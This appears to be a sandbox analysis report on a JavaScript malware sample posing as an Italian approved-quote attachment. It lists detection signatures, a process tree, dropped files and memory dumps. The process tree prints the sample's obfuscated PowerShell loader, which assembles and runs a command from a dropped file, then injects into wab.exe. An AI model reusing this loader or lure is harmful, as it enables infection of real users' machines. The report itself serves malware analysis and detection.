Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 11:13

General

  • Target
    Preventivo approvato (Ordine n. 20260713).js
  • Size 35KB
  • Sample260729-nbc98aselc
  • SHA256 59c85dcde1ea72f8dc77841d575284ac734ae5eb22ff4161059c2958153c29bb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops desktop.ini file(s) 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 26 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Preventivo approvato (Ordine n. 20260713).js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" C:\
      2⤵
        PID:4332
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Drops desktop.ini file(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Inver='/app'+'data';$Fiskep=gc ($home+$Inver+'/local/Fngs');$Asbest190=$Fiskep[2686]+$Fiskep[2687]+$Fiskep[2688]; . ($Asbest190) $Fiskep"
        2⤵
        • Badlisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1276
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Inver='/app'+'data';$Fiskep=gc ($home+$Inver+'/local/Fngs');$Asbest190=$Fiskep[2686]+$Fiskep[2687]+$Fiskep[2688]; . ($Asbest190) $Fiskep"
      1⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3144
      • C:\Program Files (x86)\Windows Mail\wab.exe
        "C:\Program Files (x86)\Windows Mail\wab.exe"
        2⤵
          PID:2960
        • C:\Program Files (x86)\Windows Mail\wab.exe
          "C:\Program Files (x86)\Windows Mail\wab.exe"
          2⤵
            PID:3064
          • C:\Program Files (x86)\Windows Mail\wab.exe
            "C:\Program Files (x86)\Windows Mail\wab.exe"
            2⤵
            • Suspicious use of NtCreateThreadExHideFromDebugger
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3320
            • C:\Program Files (x86)\Windows Mail\wab.exe
              "C:\Program Files (x86)\Windows Mail\wab.exe"
              3⤵
                PID:5888
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k GPSvcGroup
            1⤵
              PID:2952

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 0e5b9103b5593944adfb371176355c32b6941afa47825bcff6feec187ae14d79
                  • MD5 SHA1 SHA512 TLSH

                  gust.Ten

                  • Path C:\Users\Admin\AppData\Roaming\gust.Ten
                  • Size 207KB
                  • SHA256 f7a2c78644fa3efb84423970896676f61778b7f8a3bc9b30d2c793a499264f6c
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  Fngs

                  • Path C:\Users\Admin\appdata\local\Fngs
                  • Size 3KB
                  • SHA256 e932df25127453f75697482dfd0c65378ce1faaf8b358fba90496f21d172dff4
                  • MD5 SHA1 SHA512 TLSH

                  memory/1276-1-0x00000177F8C70000-0x00000177F8C92000-memory.dmp

                  memory/3144-18-0x0000000006650000-0x000000000669C000-memory.dmp

                  memory/3144-19-0x00000000077E0000-0x0000000007876000-memory.dmp

                  memory/3144-11-0x0000000005F70000-0x0000000005FD6000-memory.dmp

                  memory/3144-15-0x00000000060D0000-0x000000000642B000-memory.dmp

                  memory/3144-10-0x0000000005730000-0x0000000005752000-memory.dmp

                  memory/3144-17-0x00000000065F0000-0x000000000660E000-memory.dmp

                  memory/3144-9-0x0000000005920000-0x0000000005F6A000-memory.dmp

                  memory/3144-12-0x0000000005FE0000-0x0000000006046000-memory.dmp

                  memory/3144-20-0x0000000006B40000-0x0000000006B5A000-memory.dmp

                  memory/3144-21-0x0000000006B90000-0x0000000006BB2000-memory.dmp

                  memory/3144-22-0x0000000007EA0000-0x000000000845A000-memory.dmp

                  memory/3144-23-0x0000000008AE0000-0x000000000915C000-memory.dmp

                  memory/3144-8-0x0000000002E40000-0x0000000002E76000-memory.dmp

                  memory/3144-25-0x0000000009160000-0x000000000C61B000-memory.dmp

                  memory/3320-29-0x0000000000400000-0x00000000005F1000-memory.dmp

                  memory/3320-44-0x0000000000400000-0x00000000005F1000-memory.dmp